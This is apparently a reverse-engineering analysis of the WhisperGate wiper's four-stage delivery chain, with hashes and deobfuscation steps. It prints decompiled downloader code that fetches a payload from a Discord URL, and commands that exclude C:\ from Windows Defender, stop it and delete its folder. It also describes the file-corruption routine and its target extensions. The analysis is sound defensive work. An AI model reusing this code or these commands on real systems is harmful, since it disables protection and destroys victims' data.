WhisperGate Malware
Analysis of the WhisperGate malware delivery chain
Overview
Stage 1 - MBR Wiper: a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
Stage 2 - Downloader: dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
Stage 3 - File Corruptor (injector): 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
Stage 4 - Final (unpacked on stream): 34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907
All samples on available on Malshare.
References:
Stage 2 - Downloader
This is a .NET binary that is obfuscated with NetReactor. We can use NetReactorSlayer to remove the obfuscation. Just drag the binary over and yes
to all options.
TODO: Find a way to identify NetReactor obfuscation -- is there a signature for it? List of .NET de-obfuscation tools
Functionality
- Download Stage3 binary from Discord
- Binary is downloaded as
Tbopbh.jpg
and is reversed - Reverse binary and load it directly as a .NET assembly
- Call
Ylfwdwgmpilzyaph
method from loaded Stage3 .NET assembly
Sample Functions
private static byte[] ChangeFacade()
{
Facade.ReflectFacade();
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
}
catch
{
}
byte[] array = (byte[])typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x", ""), new Type[]
{
typeof(string)
}).Invoke(new WebClient(), new object[]
{
"https://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg"
});
if (array.Length > 1)
{
Array.Reverse(array, 0, array.Length);
}
return array;
}
private static void FillFacade(MethodInfo[] spec)
{
foreach (MethodInfo methodInfo in spec)
{
if (methodInfo.Name == "Ylfwdwgmpilzyaph")
{
methodInfo.Invoke(null, null);
}
}
}
Stage 3 - File Corruptor (Injector)
This is a .NET binary that appears to be obfuscated with Eazfuscator and we know from Stage2 that it is loaded as a .NET assembly and the method Ylfwdwgmpilzyaph
is where the code starts. Because it is loaded as an assembly it doesn't have an entrypoint and cannot be launched directly like a regular PE file.
For Eazfuscator we can try some tools like de4dot and EazFizer but they all fail because Eazfuscator has actually virtualized the functions. We need to do this dynamically.
Analysis and Unpacking
- Open module in dnspy
- Right click assembly
Edit Module...
- Change Module Type to
Windows
and addYlfwdwgmpilzyaph
as the Managed Entry Point. - File -> Save Module
- Open saved module in dnspy
- Locate call to EazFusactor vm in entrypoint
\u0005\u2005\u2000.\u000E\u2005\u2000().\u0002(\u0005\u2005\u2000.\u000F\u2005\u2000(), "#6k@H!uq=A", null);
- Press ctrl+f to open find and search for
.invoke
- When you find the function with the two invokes on the entrypoint "call" put a breakpoint on them.
return \u0002.Invoke(\u0003, \u0005); return ((ConstructorInfo)\u0002).Invoke(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, \u0005, null)
- Start debugger
The concept behind this method is that Eazfuscator uses the invoke
each time it calls into a virtualized function. By putting a breakpoint here we can monitor and intercept the arguments for each call. Each time we break we can inspect the arguments then run until we break again at the next call.
Functionality
- The sample checks if it is running as admin, if it isn't it will launch itself again elevated and teminate.
- The sample drops a VBS script
%TEMP%\Nmddfrqqrbyjeygggda.vbs
that attempts to excludeC:\
from Windows DefenderCreateObject(""WScript.Shell"").Run ""powershell Set-MpPreference -ExclusionPath 'C:\'"", 0, False
- Drops
AdvancedRun.exe
in%TEMP%
(SHA256:29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b
) - Attempts to stop Windows Defender
/EXEFilename C:\Windows\System32\sc.exe /WindowState 0 /CommandLine ""stop WinDefend"" /StartDirectory """" /RunAs 8 /Run /EXEFilename C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /WindowState 0 /CommandLine ""rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse"" /StartDirectory """" /RunAs 8 /Run
- Copy
InstallUtil.exe
into%TEMP%
and launch it - Unpack Stage4 which is reversed and gzipped
- Inject Stage4 into
InstallUtil.exe
Stage 4 - File Corruptor (Final)
This is a 32bit native Windows binary that has been compiled with MinGW.
Functionality
- Use
GetLogicalDrives
and interate through drives selecting FIXED and REMOTE drives - Recursively iterate through files in all directories except for
%HOMEDRIVE%\Windows
- Compare the file extension against a list of target file extensions
- For matching files replace the file contents with 0x100000 byes of
\xcc
- Append a random hex integer to the corrupted file name
File Extension target list
cmd
.HTML .HTM .SHTML .XHTML .PHTML .PHP .JSP .ASP .PHPS .PHP5 .ASPX .PHP4 .PHP6 .PHP7 .PHP3 .DOC .DOCX .XLS .XLSX .PPT .PPTX .PST .OST .MSG .EML .VSD .VSDX .TXT .CSV .RTF .WKS .WK1 .PDF .DWG .ONETOC2 .SNT .JPEG .JPG .DOCB .DOCM .DOT .DOTM .DOTX .XLSM .XLSB .XLW .XLT .XLM .XLC .XLTX .XLTM .PPTM .POT .PPS .PPSM .PPSX .PPAM .POTX .POTM .EDB .HWP .602 .SXI .STI .SLDX .SLDM .BMP .PNG .GIF .RAW .CGM .SLN .TIF .TIFF .NEF .PSD .AI .SVG .DJVU.SH .CLASS .JAR .BRD .SCH .DCH .DIP .PL .VB .VBS .PS1 .BAT .CMD .JS .ASM .H .PAS .CPP .C .CS .SUO .ASC .LAY6 .LAY .MML .SXM .OTG .ODG .UOP .STD .SXD .OTP .ODP .WB2 .SLK .DIF .STC .SXC .OTS .ODS .3DM .MAX .3DS .UOT .STW .SXW .OTT .ODT .PEM .P12 .CSR .CRT .KEY .PFX .DER .OGG .RB .GO .JAVA .INC .WAR .PY .KDBX .INI .YML .PPK .LOG .VDI .VMDK .VHD .HDD .NVRAM .VMSD .VMSN .VMSS .VMTM .VMX .VMXF .VSWP .VMTX .VMEM .MDF .IBD .MYI .MYD .FRM .SAV .ODB .DBF .DB .MDB .ACCDB .SQL .SQLITEDB .SQLITE3 .LDF .SQ3 .ARC .PAQ .BZ2 .TBK .BAK .TAR .TGZ .GZ .7Z .RAR .ZIP .BACKUP .ISO .VCD .BZ .CONFIG